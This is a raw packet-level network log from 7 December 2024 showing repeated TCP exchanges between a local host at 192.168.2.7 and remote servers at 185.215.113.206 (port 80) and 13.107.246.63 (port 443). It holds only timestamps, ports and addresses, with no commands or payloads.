Dec 7, 2024 18:26:55.792077065 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.792315006 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.792352915 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.793123960 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.793164968 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.793327093 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.793401957 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.794331074 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.794375896 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.794452906 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.794550896 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.795483112 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.795533895 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.795603991 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.795636892 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.796561003 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.796648979 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.796689987 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.797732115 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.797806025 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.797852993 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.850070000 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.850172997 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.850271940 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.850558996 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.850678921 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.850744009 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.851435900 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.851567030 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.851617098 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.852469921 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.852658033 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.852740049 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.853568077 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.855638027 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.907387018 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.907499075 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.907614946 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.907911062 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.907995939 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.908046961 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.908900023 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.908947945 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.909066916 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.909827948 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.909960985 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.910001993 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.910057068 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.910095930 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.911076069 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.911118984 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.911317110 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.911359072 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.912245989 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.912286997 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.912457943 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.913646936 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.913664103 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.913681030 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.913741112 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.913780928 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.914498091 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.914539099 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.914603949 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.914644957 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.915407896 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.915456057 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.915537119 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.915582895 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.916368008 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.916405916 CET	443	49816	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.916412115 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.916471004 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:55.916923046 CET	49816	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.916933060 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:55.916958094 CET	443	49816	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.917387009 CET	49816	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:55.917392969 CET	443	49816	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:55.950572014 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.070218086 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.350488901 CET	443	49816	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:56.353809118 CET	443	49816	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:56.354069948 CET	49816	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:56.354132891 CET	49816	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:56.354154110 CET	443	49816	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:56.354162931 CET	49816	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:56.354173899 CET	443	49816	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:56.356642008 CET	49821	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:56.356672049 CET	443	49821	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:56.356750011 CET	49821	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:56.356899023 CET	49821	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:56.356909990 CET	443	49821	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:56.396708012 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.396812916 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.396919012 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.397212982 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.397406101 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.397461891 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.398272038 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.398377895 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.398421049 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.399341106 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.399384022 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.399435043 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.399548054 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.400424004 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.400464058 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.400569916 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.400644064 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.401611090 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.401652098 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.401731968 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.401772976 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.402549982 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.402590036 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.402663946 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.402704000 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.403647900 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.403688908 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.403853893 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.403893948 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.405005932 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.405049086 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.405116081 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.405154943 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.405733109 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.405775070 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.405931950 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.405972958 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.406838894 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.406888962 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.406899929 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.406929016 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.407999992 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.408041000 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.408109903 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.408149958 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.408881903 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.408921957 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.517399073 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.517503023 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.517556906 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.517599106 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.517878056 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.517920017 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.518028975 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.518070936 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.518230915 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.518273115 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.519140005 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.519182920 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.519260883 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.519300938 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.520196915 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.520237923 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.520350933 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.520390987 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.521241903 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.521281004 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.521389961 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.521430016 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.522356033 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.522396088 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.522485018 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.522522926 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.523385048 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.523431063 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.523624897 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.523665905 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.524494886 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.524534941 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.524653912 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.524688005 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.525542974 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.525582075 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.525621891 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.525759935 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.526596069 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.526748896 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.526791096 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.527800083 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.527903080 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.527952909 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.538113117 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.538166046 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.538312912 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.538325071 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.538358927 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.538774014 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.538785934 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.538798094 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.538817883 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.538834095 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.539427042 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.539469957 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.539597034 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.539627075 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.539637089 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.539638996 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.539659023 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.539673090 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.540473938 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.540484905 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.540496111 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.540512085 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.540524960 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.541107893 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.541138887 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.541147947 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.541150093 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.541160107 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.541171074 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.541183949 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.541201115 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.542104959 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.542118073 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.542165041 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.584805012 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:56.584907055 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:56.728427887 CET	443	49818	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:56.729099035 CET	49818	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:56.729123116 CET	443	49818	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:56.729546070 CET	49818	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:56.729551077 CET	443	49818	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:56.757657051 CET	443	49817	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:56.758173943 CET	49817	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:56.758198977 CET	443	49817	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:56.758572102 CET	49817	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:56.758578062 CET	443	49817	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.015949965 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:57.015984058 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:57.136785030 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:57.137531996 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:57.162877083 CET	443	49818	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.163269043 CET	443	49818	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.163345098 CET	49818	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.163378954 CET	49818	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.163397074 CET	443	49818	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.163429022 CET	49818	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.163434982 CET	443	49818	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.165740013 CET	49822	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.165766001 CET	443	49822	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.165828943 CET	49822	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.165949106 CET	49822	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.165958881 CET	443	49822	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.191234112 CET	443	49817	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.196405888 CET	443	49817	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.196475983 CET	49817	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.196512938 CET	49817	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.196512938 CET	49817	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.196537971 CET	443	49817	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.196548939 CET	443	49817	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.199227095 CET	49823	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.199259996 CET	443	49823	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.199320078 CET	49823	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.199518919 CET	49823	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.199532032 CET	443	49823	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.237396955 CET	443	49820	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.237601042 CET	443	49819	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.241349936 CET	49820	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.241362095 CET	443	49820	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.241661072 CET	49819	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.241679907 CET	443	49819	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.241820097 CET	49820	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.241825104 CET	443	49820	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.242156982 CET	49819	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.242163897 CET	443	49819	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.671569109 CET	443	49820	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.675149918 CET	443	49820	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.675247908 CET	49820	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.675323009 CET	49820	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.675323009 CET	49820	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.675343037 CET	443	49820	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.675353050 CET	443	49820	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.677948952 CET	49824	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.677974939 CET	443	49824	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.678055048 CET	49824	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.678195953 CET	49824	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.678208113 CET	443	49824	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.678937912 CET	443	49819	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.681773901 CET	443	49819	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.681833982 CET	49819	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.681915998 CET	49819	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.681946039 CET	443	49819	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.681963921 CET	49819	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.681968927 CET	443	49819	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.683737993 CET	49825	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.683773994 CET	443	49825	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.683867931 CET	49825	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.683959007 CET	49825	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:57.683970928 CET	443	49825	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:57.952004910 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:57.952094078 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:58.004710913 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:58.072977066 CET	443	49821	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:58.073434114 CET	49821	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:58.073453903 CET	443	49821	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:58.073928118 CET	49821	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:58.073934078 CET	443	49821	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:58.124526024 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:58.444885015 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:58.445012093 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:58.445072889 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:58.445125103 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:58.445357084 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:58.445406914 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:58.447810888 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:58.516041040 CET	443	49821	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:58.519134998 CET	443	49821	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:58.519212961 CET	49821	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:58.519212961 CET	49821	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:58.519269943 CET	49821	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:58.519287109 CET	443	49821	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:58.521699905 CET	49826	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:58.521739006 CET	443	49826	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:58.521797895 CET	49826	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:58.522104025 CET	49826	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:58.522110939 CET	443	49826	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:58.567353964 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:58.882736921 CET	443	49822	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:58.883270979 CET	49822	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:58.883281946 CET	443	49822	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:58.883711100 CET	49822	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:58.883714914 CET	443	49822	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:58.903109074 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:58.903178930 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:58.914199114 CET	49786	80	192.168.2.7	185.215.113.206
Dec 7, 2024 18:26:58.914530039 CET	443	49823	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:58.914884090 CET	49823	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:58.914906979 CET	443	49823	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:58.915266037 CET	49823	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:58.915272951 CET	443	49823	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.034723997 CET	80	49786	185.215.113.206	192.168.2.7
Dec 7, 2024 18:26:59.319222927 CET	443	49822	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.322288990 CET	443	49822	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.322361946 CET	49822	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.322413921 CET	49822	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.322432041 CET	443	49822	13.107.246.63	192.168.2.7
Dec 7, 2024 18:26:59.322441101 CET	49822	443	192.168.2.7	13.107.246.63
Dec 7, 2024 18:26:59.322447062 CET	443	49822	13.107.246.63	192.168.2.7
